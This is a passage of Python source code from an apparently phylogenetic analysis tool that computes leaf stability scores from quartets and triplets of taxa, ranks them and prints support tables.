equalDistUnresolved):\n\n        scoreDict = {}\n        for sortedQuartet, dict in taxa2index.items():\n            #            print ((self.index2TaxaDict[self.bitkey2Index[sortedQuartet[0]]],self.index2TaxaDict[self.bitkey2Index[sortedQuartet[1]]]),\n            #                                      (self.index2TaxaDict[self.bitkey2Index[sortedQuartet[2]]],self.index2TaxaDict[self.bitkey2Index[sortedQuartet[3]]]))\n            #            print dict\n            quartets = []\n            for index, no in dict.items():\n\n                quartets.append(self.buildQuartet(index, no, sortedQuartet))\n\n            if len(quartets) > 0:\n\n                max, diff, ent = self.calcAvgDiffEnt(\n                    quartets, treatUnresolvedAsValid, equalDistUnresolved)\n                for taxon in sortedQuartet:\n                    if taxon >= 0:\n                        taxa = self.bitkey2Index[taxon]\n                        if taxa in scoreDict:\n                            list = scoreDict[taxa]\n                            scoreDict[taxa] = [\n                                list[0] + max, list[1] + diff, list[2] + ent, list[3] + 1]\n                        else:\n                            scoreDict[taxa] = [max, diff, ent, 1]\n        return scoreDict\n\n    def calcScores(self, taxa2index, index2Quartet, treatUnresolvedAsValid, equalDistUnresolved):\n        scoreDict = {}\n        for sortedQuartet, dict in taxa2index.items():\n            #            print sortedQuartet\n            #            print dict\n            quartets = []\n            for index, no in dict.items():\n\n                quartets.append((index2Quartet[index], no))\n\n            if len(quartets) > 0:\n\n                max, diff, ent = self.calcAvgDiffEnt(\n                    quartets, treatUnresolvedAsValid, equalDistUnresolved)\n\n                for taxa in sortedQuartet:\n                    if taxa >= 0:\n                        if taxa in scoreDict:\n                            list = scoreDict[taxa]\n                            scoreDict[taxa] = [\n                                list[0] + max, list[1] + diff, list[2] + ent, list[3] + 1]\n                        else:\n                            scoreDict[taxa] = [max, diff, ent, 1]\n\n        return scoreDict\n\n    def formatResults(self, scoreDict, index2TaxaDict):\n        resultList = []\n\n#       Retrive the results from scoreDict\n        for taxa in scoreDict.keys():\n            list = scoreDict[taxa]\n            list = [round(list[0] / list[3], 8), round(list[1] /\n                                                       list[3], 8), round(list[2] / list[3], 8), list[3]]\n            list.append(index2TaxaDict[taxa])\n            resultList.append(list)\n\n#       Sort results based on Maximum column\n        for i in range(0, len(resultList)):\n            for j in range(i + 1, len(resultList)):\n                if resultList[i][0] < resultList[j][0]:\n                    temp = resultList[j]\n                    resultList[j] = resultList[i]\n                    resultList[i] = temp\n                elif resultList[i][0] == resultList[j][0]:\n                    if resultList[i][4] > resultList[j][4]:\n                        temp = resultList[j]\n                        resultList[j] = resultList[i]\n                        resultList[i] = temp\n\n#       Calc average result based on Maximum\n        maxAverage = 0.0\n        diffAverage = 0.0\n        entAverage = 0.0\n        for result in resultList:\n            maxAverage += result[0]\n            diffAverage += result[1]\n            entAverage += result[2]\n\n        maxAverage = maxAverage / len(resultList)\n        diffAverage = diffAverage / len(resultList)\n        entAverage = entAverage / len(resultList)\n\n#        Add ranks to the resultlist\n#\n\n        maxList = []\n        diffList = []\n        entList = []\n\n        for result in resultList:\n            maxList.append(result[0])\n            diffList.append(result[1])\n            entList.append(result[2])\n\n        maxDict = {}\n        maxList.sort(reverse=True)\n        index = 0\n        maxScore = 1.0\n        for score in maxList:\n            if score == maxScore:\n                if score == 1.0 and index == 0:\n                    index += 1\n                maxDict[score] = index\n            else:\n                maxScore = score\n                index += 1\n                maxDict[score] = index\n\n        diffDict = {}\n        diffList.sort(reverse=True)\n        index = 0\n        diffScore = 1.0\n        for score in diffList:\n            if score == diffScore:\n                if score == 1.0 and index == 0:\n                    index += 1\n                diffDict[score] = index\n            else:\n                diffScore = score\n                index += 1\n                diffDict[score] = index\n\n        entDict = {}\n        entList.sort(reverse=True)\n        index = 0\n        entScore = 1.0\n        for score in entList:\n            if score == entScore:\n                if score == 1.0 and index == 0:\n                    index += 1\n                entDict[score] = index\n            else:\n                entScore = score\n                index += 1\n                entDict[score] = index\n\n        for result in resultList:\n            result.append(maxDict[result[0]])\n            result.append(diffDict[result[1]])\n            result.append(entDict[result[2]])\n\n#       Checks if results from Difference and entropy disagre with the Maximum results\n#       i.e. if the resulting sorting would differ if based on Difference or Entropy\n#       instead of Maximum\n        diff = 10.0\n        diffWarning = False\n        ent = 10.0\n        entWarning = False\n        for result in resultList:\n            if result[1] > diff + 0.000000000001:\n                #                print result[1]\n                #                print diff\n                #                print ''\n                diffWarning = True\n            else:\n                diff = result[1]\n            if result[2] > ent + 0.000000000001:\n                entWarning = True\n            else:\n                ent = result[2]\n\n        return resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning\n\n    def csvListFromResult(self, result, csvList):\n        csvList.append(['', 'Maximum', '', 'Difference', '', 'Entropy', ''])\n        csvList.append(\n            ['Taxa', 'LSMax', 'Rank', 'LSDiff', 'Rank', 'LSEnt', 'Rank'])\n        printedAverage = False\n        for r in result[0]:\n            if result[1] > r[0] and not printedAverage:\n                printedAverage = True\n                csvList.append(\n                    ['Average', result[1], '-', result[2], '-', result[3], '-'])\n            csvList.append([r[4], r[0], r[5], r[1], r[6], r[2], r[7]])\n\n    def printGroupSupportTable(self, groupResult):\n        resultList = groupResult[0][0]\n        maxAverage = groupResult[0][1]\n        diffAverage = groupResult[0][2]\n        entAverage = groupResult[0][3]\n\n        nMresultList = groupResult[1][0]\n        nMmaxAverage = groupResult[1][1]\n        nMdiffAverage = groupResult[1][2]\n        nMentAverage = groupResult[1][3]\n        max = 0\n        for result in resultList:\n            if len(result[4]) > max:\n                max = len(result[4])\n        for result in nMresultList:\n            if len(result[4]) > max:\n                max = len(result[4])\n        if max < 10:\n            max = 10\n        line = ''\n        for i in range(max + 64):\n            line += '-'\n        printedAverage = False\n        print(line)\n        print('| Members'.ljust(max + 2), end=' ')\n        print('| Maximum'.ljust(12), end=' ')\n        print('| Rank'.ljust(6), end=' ')\n        print('| Difference'.ljust(12), end=' ')\n        print('| Rank'.ljust(6), end=' ')\n        print('| Entropy'.ljust(12), end=' ')\n        print('| Rank'.ljust(6), end=' ')\n        print('|')\n        print(line)\n        for result in resultList:\n            if maxAverage > result[0] and not printedAverage:\n                printedAverage = True\n                print(line)\n                print('|', end=' ')\n                print('Average'.ljust(max), end=' ')\n                print('|', end=' ')\n                print(str(maxAverage).ljust(10)[:10], end=' ')\n                print('|      |', end=' ')\n                print(str(diffAverage).ljust(10)[:10], end=' ')\n                print('|      |', end=' ')\n                print(str(entAverage).ljust(10)[:10], end=' ')\n                print('|      |')\n                print(line)\n            print('|', end=' ')\n            print(str(result[4]).ljust(max), end=' ')\n            print('|', end=' ')\n            print(str(result[0]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|', end=' ')\n            print(str(result[1]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|', end=' ')\n            print(str(result[2]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|')\n        print(line)\n        print('| Non members'.ljust(max + 62), end=' ')\n        print('|')\n        print(line)\n\n        printedAverage = False\n        for result in nMresultList:\n            if nMmaxAverage > result[0] and not printedAverage:\n                printedAverage = True\n                print(line)\n                print('|', end=' ')\n                print('Average'.ljust(max), end=' ')\n                print('|', end=' ')\n                print(str(nMmaxAverage).ljust(10)[:10], end=' ')\n                print('|      |', end=' ')\n                print(str(nMdiffAverage).ljust(10)[:10], end=' ')\n                print('|      |', end=' ')\n                print(str(nMentAverage).ljust(10)[:10], end=' ')\n                print('|      |')\n                print(line)\n            print('|', end=' ')\n            print(str(result[4]).ljust(max), end=' ')\n            print('|', end=' ')\n            print(str(result[0]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|', end=' ')\n            print(str(result[1]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|', end=' ')\n            print(str(result[2]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|')\n\n        print(line)\n\n    def printSupportTable(self, resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning):\n        max = 0\n        for result in resultList:\n            if len(result[4]) > max:\n                max = len(result[4])\n        if max < 10:\n            max = 10\n        line = ''\n        for i in range(max + 64):\n            line += '-'\n        printedAverage = False\n        print(line)\n        print('| Taxa'.ljust(max + 2), end=' ')\n        print('| Maximum'.ljust(12), end=' ')\n        print('| Rank'.ljust(6), end=' ')\n        print('| Difference'.ljust(12), end=' ')\n        print('| Rank'.ljust(6), end=' ')\n        print('| Entropy'.ljust(12), end=' ')\n        print('| Rank'.ljust(6), end=' ')\n        print('|')\n        print(line)\n        for result in resultList:\n            if maxAverage > result[0] and not printedAverage:\n                printedAverage = True\n                print(line)\n                print('|', end=' ')\n                print('Average'.ljust(max), end=' ')\n                print('|', end=' ')\n                print(str(maxAverage).ljust(10)[:10], end=' ')\n                print('|      |', end=' ')\n                print(str(diffAverage).ljust(10)[:10], end=' ')\n                print('|      |', end=' ')\n                print(str(entAverage).ljust(10)[:10], end=' ')\n                print('|      |')\n                print(line)\n            print('|', end=' ')\n            print(str(result[4]).ljust(max), end=' ')\n            print('|', end=' ')\n            print(str(result[0]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[5]).ljust(4)[:4], end=' ')\n            print('|', end=' ')\n            print(str(result[1]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[6]).ljust(4)[:4], end=' ')\n            print('|', end=' ')\n            print(str(result[2]).ljust(10)[:10], end=' ')\n            print('|', end=' ')\n            print(str(result[7]).ljust(4)[:4], end=' ')\n            print('|')\n        print(line)\n        print('Results sorted by Maximum column')\n        if diffWarning:\n            print('* Note that the sorting in the Difference column differs from the Maximum column')\n        if entWarning:\n            print('** Note that the sorting in the Entropy column differs from the Maximum column')\n\n    def getSortedQuartetTuple(self, quartet):\n        list = []\n        if len(quartet[0]) > 2:\n            for taxa in quartet[0]:\n                list.append(taxa)\n            list.sort()\n            return (list[0], list[1], list[2], list[3])\n        else:\n            for taxa in quartet[0]:\n                list.append(taxa)\n            for taxa in quartet[1]:\n                list.append(taxa)\n            list.sort()\n            return (list[0], list[1], list[2], list[3])\n\n    def calcAvgDiffEnt(self, quartetList, treatUnresolvedAsValid, equalDist=True):\n        quartetTypes = {}\n#        quartetTypes[quartetList[0]] = 1.0\n        weight = 0.0\n        found = 0.0\n        for qW in quartetList:\n            #            print qW\n            weight += qW[1]\n            if len(qW[0]) > 1:\n                if qW[0] in quartetTypes:\n                    quartetTypes[qW[0]] = quartetTypes[qW[0]] + qW[1]\n                else:\n                    quartetTypes[qW[0]] = qW[1]\n            else:\n                #                print '         ',qW\n                found += 1.0\n\n        unresolved = found\n#        print 'Unresolved: ', unresolved\n#        print 'Found: ', found\n#        print ''\n\n        if len(quartetTypes.values()) > 4:\n            print('Found more than four kinds of quartets for 4 taxa, not good')\n#            print quartetTypes.values()\n#            print quartetTypes.keys()\n            return 0.0, 0.0, 0.0\n\n        if unresolved == 0 and len(quartetTypes.values()) == 1:\n            #            print 'One kind of quartet'\n            #            print quartetTypes.values()\n            #            print ''\n            #            print 'len(quartetList) ', len(quartetList)\n            #            print 'len(self.inputTrees)', len(self.inputTrees)\n            if self.sumOfWeights == weight:\n                #                print '%s,%s,%s' % ('1.0', '1.0', '1.0')\n                #                print ''\n                return 1.0, 1.0, 1.0\n            else:\n                #                print '1'\n                max = 1.0 / (self.sumOfWeights / weight)\n                med = 1.0 / (self.sumOfWeights / weight) - \\\n                    (1.0 - 1.0 / (self.sumOfWeights / (weight)))\n                if med <= 0:\n                    ent = 1 - (-1 * (max * log(max, 2))) / log(3, 2)\n                else:\n                    ent = 1 - \\\n                        (-1 * (max * log(max, 2) + med * log(med, 2))) / \\\n                        log(3, 2)\n\n#                print '%s, %s, %s' % (max, med, ent)\n#                print ''\n                return max, med, ent\n\n        if unresolved > 0 and len(quartetTypes.values()) == 0:\n            #            print 'Only unresolved quartets'\n            #            for qW in quartetList:\n            #                print qW\n            if treatUnresolvedAsValid:\n                if self.sumOfWeights == weight:\n                    #                    print '%s,%s,%s' % ('1.0', '1.0', '1.0')\n                    #                    print ''\n                    return 1.0, 1.0, 1.0\n                else:\n                    #                    print '2'\n                    max = 1.0 / (self.sumOfWeights / weight)\n                    med = 1.0 / (self.sumOfWeights / weight) - \\\n                        (1.0 - 1.0 / (self.sumOfWeights / (weight)))\n                    if med <= 0:\n                        ent = 1 - (-1 * (max * log(max, 2))) / log(3, 2)\n                    else:\n                        ent = 1 - \\\n                            (-1 * (max * log(max, 2) + med * log(med, 2))) / \\\n                            log(3, 2)\n#                    print '%s, %s, %s' % (max, med, ent)\n#                    print ''\n                    return max, med, ent\n            else:\n                #                print '3'\n                #                print '%s,%s,%s' % ('0.333333333333', '0.0', '0.0')\n                #                print ''\n                return 0.333333333333, 0.0, 0.0\n\n\n#        print 'More than one value'\n\n        val = []\n        index = 0\n        for i in quartetTypes.values():\n            index += 1\n            val.append(i)\n        for i in range(index, 3):\n            val.append(0.0)\n\n#        print 'QuartetTypes: '\n\n#        if weight > self.sumOfWeights or weight < self.sumOfWeights:\n#            print val\n        quartets = self.sumOfWeights\n#            print 'weight ', weight\n#            print 'self.sumofweights', self.sumOfWeights\n#            print 'unresolved: ', unresolved\n#            print ''\n\n#        if unresolved > 0:\n#            print '                       UNRESOlVED'\n\n        if unresolved > 0 and not treatUnresolvedAsValid:\n            if equalDist:\n                dist = unresolved / 3.0\n#                print 'Dist: %s' % (str(dist))\n                for i in range(0, 3):\n                    val[i] = val[i] + dist\n            else:\n                for i in range(0, 3):\n                    val[i] = val[i] + unresolved * \\\n                        (val[i] / (quartets - unresolved))\n#                    print 'Disto: %s' % (str(unresolved*(val[i]/quartets)))\n            val.sort()\n            val.append(0.0)\n        elif unresolved > 0:\n            val.sort()\n            val.append(unresolved)\n        else:\n            val.sort()\n            val.append(0.0)\n\n        max = val[2] / quartets\n        avg = (val[2] - val[1]) / quartets\n        med = val[1] / quartets\n        min = val[0] / quartets\n\n        if val[2] == 0:\n            t1 = 0\n        else:\n            t1 = max * log(max, 2)\n\n        if val[1] == 0:\n            t2 = 0\n        else:\n            t2 = med * log(med, 2)\n\n        if val[0] == 0:\n            t3 = 0\n        else:\n            t3 = min * log(min, 2)\n\n        if not treatUnresolvedAsValid:\n            ent = 1 - (-1 * (t1 + t2 + t3)) / log(3, 2)\n        else:\n            if val[3] == 0:\n                t4 = 0\n            else:\n                t4 = min * log(val[3], 2)\n            ent = 1 - (-1 * (t1 + t2 + t3 + t4)) / log(4, 2)\n#        print '4'\n#        print '%s, %s, %s' % (max, med, ent)\n#        print ''\n        return max, avg, ent\n\n    def matchingQuartets(self, quartet, possible):\n        for taxa in possible:\n            found = False\n            for tuple in quartet:\n                if taxa in tuple:\n                    found = True\n            if not found:\n                return False\n        return True\n\n    def allPossibleQuartets(self, taxaList, taxa2IndexDict, rooted):\n        possibles = []\n        for i in range(0, len(taxaList) - 2):\n            for j in range(i + 1, len(taxaList) - 1):\n                for k in range(j + 1, len(taxaList)):\n                    if rooted:\n                        possibles.append((taxa2IndexDict[taxaList[i]], taxa2IndexDict[\n                                         taxaList[j]], taxa2IndexDict[taxaList[k]]))\n                    else:\n                        for l in range(k + 1, len(taxaList)):\n                            possibles.append((taxa2IndexDict[taxaList[i]], taxa2IndexDict[\n                                             taxaList[j]], taxa2IndexDict[taxaList[k]], taxa2IndexDict[taxaList[l]]))\n\n        return possibles\n\n\nclass TreeStripper(object):\n\n    def __init__(self):\n        self.set = set()\n        self.translatedSet = None\n        self.taxa2id = {}\n        self.added = 0\n        self.index = 0\n\n    def reset(self):\n        self.set = set()\n        self.translatedSet = None\n        self.taxa2id = {}\n        self.added = 0\n        self.index = 0\n\n    def printSet(self):\n        print('Added: %s' % (self.added))\n        print('Set.len: %s' % (len(self.set)))\n        print('Set')\n        for t in self.set:\n            print(t)\n        print('Translation table')\n        for i, j in self.taxa2id.items():\n            print('Item: %s, Value: %s' % (i, j))\n        if self.translatedSet:\n            print('Translated set')\n            for t in self.translatedSet:\n                print(t)\n\n    def getTranslatedSet(self):\n        if self.translatedSet == None:\n            self.translate()\n        return self.translatedSet\n\n    def translate(self):\n        self.translatedSet = set()\n        for t in self.set:\n            t = ()\n            for i in t:\n                t + (self.taxa2id[i])\n            self.translatedSet.add(t)\n\n    def getSet(self):\n        return self.set\n\n    def getTranslationDict(self):\n        return self.taxa2id\n\n    def allPossiblePairs(self, list):\n        possibles = []\n        for i in range(0, len(list) - 1):\n            for j in range(i + 1, len(list)):\n\n                possibles.append([list[i], list[j]])\n#        print 'len(possibles): %s' % (len(possibles))\n        return possibles\n\n    def getSubtreeTaxNames(self, tree, node):\n        names = []\n        unresolved = []\n        if node.isLeaf:\n            #            print '11'\n            #            print node.name\n            unresolved.append([node.name])\n        else:\n            list = []\n#            if node.leftChild.isLeaf:\n#                list.append(node.leftChild.name)\n#                list.extend(tree.getAllLeafNames(node))\n#            else:\n            list.extend(tree.getAllLeafNames(node))\n            if len(list) > 0:\n                #                print '121'\n                #                print list\n                names.append(list)\n\n        sibling = node.sibling\n#        print '222222'\n        while sibling:\n            if sibling.isLeaf:\n                #                print '22'\n                #                print sibling.name\n                unresolved.append([sibling.name])\n#                print '-22'\n            else:\n                #                print '33'\n                #                print tree.getAllLeafNames(sibling)\n                names.append(tree.getAllLeafNames(sibling))\n#                print '-33'\n            sibling = sibling.sibling\n#        print '3333333'\n#        print 'Names: '\n#        print names\n#        print 'Unresolved: '\n#        print unresolved\n        return names, unresolved\n\n    def getSubtreeTaxNo(self, tree, node):\n        leftChild = node.leftChild\n#        list1 = tree.getNodeNumsAbove(leftChild, 1)\n        siblings = []\n        list1 = []\n        if node.isLeaf:\n            siblings.append(node.name)\n        else:\n            if leftChild.isLeaf:\n                list1.append(leftChild.name)\n                list1.extend(tree.getAllLeafNames(leftChild))\n            else:\n                list1 = tree.getAllLeafNames(leftChild)\n\n        list2 = []\n        sibling = node.sibling\n        while sibling:\n            #            list2.extend(tree.getNodeNumsAbove(sibling, 1))\n            if sibling.isLeaf:\n                print('22')\n                print(sibling.name)\n                siblings.append(sibling.name)\n            else:\n                print('33')\n                print(tree.getAllLeafNames(sibling))\n                list2.extend(tree.getAllLeafNames(sibling))\n            sibling = sibling.sibling\n        return list1, list2, siblings\n\n    def getSiblingTaxNames(self, tree, node):\n        return self.getSubtreeTaxNames(tree, node.leftChild)\n\n\nclass TripletStripper(TreeStripper):\n\n    def getTripletSetFromTree(self, tree):\n\n        for node in tree.iterLeavesNoRoot():\n            self.taxa2id[node.name] = self.index\n            self.index += 1\n\n        for node in tree.iterInternalsNoRoot():\n            if node.parent.leftChild == node:\n                names = self.getSubtreeTaxNames(tree, node)\n            else:\n                names = self.getSiblingTaxNames(tree, node)\n\n            tuples = self.buildTripletsFromLists(names)\n            self.added += len(tuples)\n            for t in tuples:\n                self.set.add(t)\n\n            return self.set, self.taxa2id, self.index\n\n    def getQuartetSet(self, rooted, tree, dict=None):\n        self.reset()\n#        tree.draw()\n        for node in tree.iterNodes():\n            if node == tree.root:\n                #                print node.name\n                leafs = []\n                for leaf in tree.iterLeavesNoRoot():\n                    leafs.append(leaf.name)\n#                    print leaf.name\n                tuples = self.buildTripletsFromLists(\n                    [[node.name], leafs], dict, rooted)\n#            print 'node.nodeNum: %s' % (node.nodeNum)\n            elif node.parent.leftChild == node:\n                #                print '1A'\n\n                names, unresolved = self.getSubtreeTaxNames(tree, node)\n\n                if len(unresolved) <= 2:\n                    names.extend(unresolved)\n                    tuples = self.buildTripletsFromLists(names, dict, rooted)\n                else:\n                    names.extend(unresolved)\n                    tuples = self.buildTripletsFromLists(names, dict, rooted)\n#                    print 'Building triplets from unresolved'\n                    tuples.extend(\n                        self.buildTripletsFromUnresolved(unresolved, dict, rooted))\n            else:\n                #                print '2A'\n                if not node.isLeaf:\n                    #                    print '2AA'\n                    names, unresolved = self.getSiblingTaxNames(tree, node)\n#                    print 'len(unresolved) 2'\n#                    print len(unresolved)\n#                    print unresolved\n                    if len(unresolved) <= 2:\n                        names.extend(unresolved)\n                        tuples = self.buildTripletsFromLists(\n                            names, dict, rooted)\n                    else:\n                        names.extend(unresolved)\n                        tuples = self.buildTripletsFromLists(\n                            names, dict, rooted)\n#                        print 'Building triplets from unresolved'\n                        tuples.extend(\n                            self.buildTripletsFromUnresolved(unresolved, dict, rooted))\n#                tuples = self.buildTripletsFromLists(names)\n#                else:\n#                    print 'OOOOOOPPPPPS not covered'\n            self.added += len(tuples)\n            for t in tuples:\n                self.set.add(t)\n#        list = []\n#        for t in self.set:\n#            list.append(t)\n\n        return self.set\n\n    def stripTripletsFromTree(self, tree):\n\n        for node in tree.iterLeavesNoRoot():\n            self.taxa2id[node.name] = self.index\n            self.index += 1\n\n        for node in tree.iterNodesNoRoot():\n            #            print 'node.nodeNum: %s' % (node.nodeNum)\n            if node.parent.leftChild == node:\n                names, unresolved = self.getSubtreeTaxNames(tree, node)\n#                print 'len(unresolved) 1'\n#                print len(unresolved)\n#                print unresolved\n                if len(unresolved) <= 2:\n                    names.extend(unresolved)\n                    tuples = self.buildTripletsFromLists(names)\n                else:\n                    tuples = self.buildTripletsFromLists(names)\n#                    print 'Building triplets from unresolved'\n                    tuples.extend(self.buildTripletsFromUnresolved(unresolved))\n            else:\n                if not node.isLeaf:\n                    names, unresolved = self.getSiblingTaxNames(tree, node)\n#                    print 'len(unresolved) 2'\n#                    print len(unresolved)\n#                    print unresolved\n                    if len(unresolved) <= 2:\n                        names.extend(unresolved)\n                        tuples = self.buildTripletsFromLists(names, dict)\n                    else:\n                        tuples = self.buildTripletsFromLists(names, dict)\n#                        print 'Building triplets from unresolved'\n                        tuples.extend(\n                            self.buildTripletsFromUnresolved(unresolved))\n                tuples = self.buildTripletsFromLists(names)\n            self.added += len(tuples)\n            for t in tuples:\n                self.set.add(t)\n\n    def buildTripletsFromUnresolved(self, list, dict=None, rooted=True):\n        triplets = []\n        if dict:\n            dict[ROOT_NODE_NAME] = -1\n        if len(list) < 3:\n            print('Unresolved list to short')\n        for i in range(0, len(list) - 2):\n            for j in range(i + 1, len(list) - 1):\n                for k in range(j + 1, len(list)):\n                    if not rooted:\n                        if dict:\n                            list1 = []\n                            list1.append(dict[list[i][0]])\n                            list1.append(dict[list[j][0]])\n                            list1.append(dict[list[k][0]])\n                            list1.append(dict[ROOT_NODE_NAME])\n                            list1.sort()\n                            triplets.append(\n                                ((list1[0], list1[1], list1[2], list1[3]),))\n                        else:\n                            #                            print '1'\n                            triplets.append(\n                                ((list[i][0], list[j][0], list[k][0]),))\n                    else:\n                        #                        print '2'\n                        triplets.append(\n                            ((list[i][0], list[j][0], list[k][0]),))\n#        print triplets\n        return triplets\n\n    def buildTripletsFromLists(self, list, dict=None, rooted=True):\n\n        #        print 'Building triplets from list'\n        #        print list\n\n        tuples = []\n        for i in range(0, len(list) - 1):\n            if len(list[i]) > 1:\n                possibles1 = self.allPossiblePairs(list[i])\n            else:\n                possibles1 = []\n            for j in range(i + 1, len(list)):\n                if len(list[j]) > 1:\n                    possibles2 = self.allPossiblePairs(list[j])\n                else:\n                    possibles2 = []\n\n                if list[j] != [None]:\n                    #                    print '1'\n                    tuples.extend(\n                        self.combineLists(possibles1, list[j], dict, rooted))\n\n                if list[i] != [None]:\n                    #                    print '2'\n                    tuples.extend(\n                        self.combineLists(possibles2, list[i], dict, rooted))\n\n        if len(list) >= 3:\n            #            print 'Building new triplets'\n\n            for i in range(0, len(list) - 2):\n                #                print '11'\n                for j in range(i + 1, len(list) - 1):\n                    #                    print '22'\n                    for k in range(j + 1, len(list)):\n                        #                        print '33'\n                        for ii in list[i]:\n                            #                            print '44'\n                            for jj in list[j]:\n                                #                                print '55'\n                                for kk in list[k]:\n                                    # print 'Appending new triplet'\n                                    tuples.append(\n                                        self.buildTripletsFromThree(ii, jj, kk, dict, rooted))\n\n        return tuples\n\n    def buildTripletsFromThree(self, tax1, tax2, tax3, dict, rooted):\n\n        #        print 'In build from three'\n        #        print tax1\n        # print tax2\n        #        print tax3\n\n        if dict:\n            dict[ROOT_NODE_NAME] = -1\n        if rooted:\n            #            print 'Rooted'\n            return ((tax1, tax2, tax3),)\n\n        if not dict:\n            #            print 'No dict'\n            return ((tax1, tax2, tax3, ROOT_NODE_NAME),)\n\n        list = []\n        list.append(dict[tax1])\n        list.append(dict[tax2])\n        list.append(dict[tax3])\n        list.append(dict[ROOT_NODE_NAME])\n        list.sort()\n\n        return ((list[0], list[1], list[2], list[3]),)\n\n    def combineLists(self, list1, list2, dict, rooted):\n        tuples = []\n        if dict:\n            dict[ROOT_NODE_NAME] = -1\n#        print list1\n#        print list2\n        for i in list1:\n            for j in list2:\n                if not rooted:\n                    if dict:\n                        list = []\n                        list.append(dict[i[0]])\n                        list.append(dict[i[1]])\n                        list.sort()\n                        list1 = []\n#                        print 'J: ', j\n\n                        list1.append(dict[j])\n                        list1.append(dict[ROOT_NODE_NAME])\n                        list1.sort()\n                        tuples.append(\n                            ((list[0], list[1]), (list1[0], list1[1])))\n                    else:\n                        #                        print '3'\n                        tuples.append(((i[0], i[1]), (j[0], ROOT_NODE_NAME)))\n                else:\n                    #                    print '4'\n                    tuples.append(((i[0], i[1]), j[0]))\n#        print 'len(combined): %s' % (len(tuples))\n        return tuples\n\n\nclass QuartetStripper(TreeStripper):\n\n    def getQuartetSetFromTree(self, tree):\n        ss = SplitStripper()\n        splitSet, self.taxa2id, self.index = ss.getSplitsFromTree(tree)\n        for s in splitSet:\n            possibles1 = self._allPossiblePairs(s[0])\n            possibles2 = self._allPossiblePairs(s[1])\n            list = self._combineLists(possibles1, possibles2)\n            for q in list:\n                self.set.add(q)\n        return self.set\n\n    def getQuartetSet(self, extra, tree, dict=None):\n        #        set = set('')\n        self.reset()\n        quartets = []\n        taxaNames = []\n        for node in tree.iterLeavesNoRoot():\n            taxaNames.append(node.name)\n\n        for node in tree.iterNodesNoRoot():\n            if node.parent.leftChild == node:\n                names, unresolved = self.getSubtreeTaxNames(tree, node)\n#                print '0'\n#                print 'names: ', names\n#                print 'unresolved: ', unresolved\n\n                unresolvedLen = len(unresolved)\n                if unresolvedLen <= 2 and unresolvedLen > 0:\n                    names.extend(unresolved)\n                    unresolved = []\n#                    print 'Added unresolved to names'\n\n#                print 'Names: ', names\n#                print 'Unresolved: ', unresolved\n\n                added = []\n\n#                if unresolvedLen == 3:\n#                    print '1'\n#                    added = self.buildQuartetsFromUnresolvedTrio(unresolved, taxaNames)\n#                    quartets.extend(added)\n#                    print 'Quartets: ', quartets\n# print 'Combine with all other taxaNames to make unresolved quartets'\n\n                if unresolvedLen >= 3:\n                    #                    print '2'\n                    added = self.buildQuartetsFromUnresolvedTaxa(\n                        unresolved, taxaNames)\n                    quartets.extend(added)\n#                    print 'Quartets: ', quartets\n#                    print 'Create all possible trios and combine them with all other taxaN'\n#                    print 'to make unresolved quartets'\n#                    print 'Then create all possible unresolved quartets using the taxaNames in'\n#                    print 'unresolved i.e. all possible quartets'\n\n#                if len(names) <= 1:\n#                    print 'len(names) <= 1 so we do nothing about names'\n\n                if len(names) == 2:\n                    tempNames = []\n                    tempNames.extend(names[0])\n                    tempNames.extend(names[1])\n                    otherTaxa = []\n                    for taxaname in taxaNames:\n                        include = True\n                        for name in tempNames:\n                            if taxaname == name:\n                                include = False\n                                break\n                        if include:\n                            otherTaxa.append(taxaname)\n#                    print '3.0'\n#                    print 'tempNames: ',tempNames\n#                    print 'otherTaxa: ',otherTaxa\n                    added = self.buildQuartetsFrom2Lists(tempNames, otherTaxa)\n                    quartets.extend(added)\n#                    print 'Quartets: ', quartets\n\n                    if len(names[0]) > 1 or len(names[1]) > 1:\n                        for i in range(0, len(names)):\n                            if len(names[i]) > 1:\n                                otherTaxa = []\n                                for j in range(0, len(names)):\n                                    if j != i:\n                                        for taxNames in names[j]:\n                                            otherTaxa.append(taxNames)\n#                            print '3'\n#                            print 'names[i]: ',names[i]\n#                            print 'otherTaxa: ',otherTaxa\n                            added = self.buildQuartetsFrom2Lists(\n                                names[i], otherTaxa)\n                            quartets.extend(added)\n\n                if len(names) > 2:\n                    tempNames = []\n                    tempNames.extend(names[0])\n                    tempNames.extend(names[1])\n                    otherTaxa = []\n                    for taxaname in taxaNames:\n                        include = True\n                        for name in tempNames:\n                            if taxaname == name:\n                                include = False\n                                break\n                        if include:\n                            otherTaxa.append(taxaname)\n#                    print '3.0'\n#                    print tempNames\n#                    print otherTaxa\n                    added = self.buildQuartetsFrom2Lists(tempNames, otherTaxa)\n                    quartets.extend(added)\n#                    print 'Quartets: ', quartets\n                    for i in range(0, len(names)):\n                        if len(names[i]) > 1:\n                            otherTaxa = []\n                            for j in range(0, len(names)):\n                                if j != i:\n                                    for taxNames in names[j]:\n                                        otherTaxa.append(taxNames)\n#                            print '4'\n                            added = self.buildQuartetsFrom2Lists(\n                                names[i], otherTaxa)\n                            quartets.extend(added)\n\n#                print ''\n#            print added\n\n        quartets = self.translateAndSortQuartets(quartets, dict)\n        for quartet in quartets:\n            self.set.add(quartet)\n#        print set\n        return self.set\n\n    def translateAndSortQuartets(self, quartets, dict):\n        translatedQuartets = []\n        if dict:\n            for quartet in quartets:\n                if len(quartet[0]) == 2:\n                    translatedQuartets.append(\n                        ((dict[quartet[0][0]], dict[quartet[0][1]]), (dict[quartet[1][0]], dict[quartet[1][1]])))\n                else:\n                    translatedQuartets.append(\n                        ([dict[quartet[0][0]], dict[quartet[0][1]], dict[quartet[0][2]], dict[quartet[0][3]]],))\n        else:\n            translatedQuartets = quartets\n\n        for i in 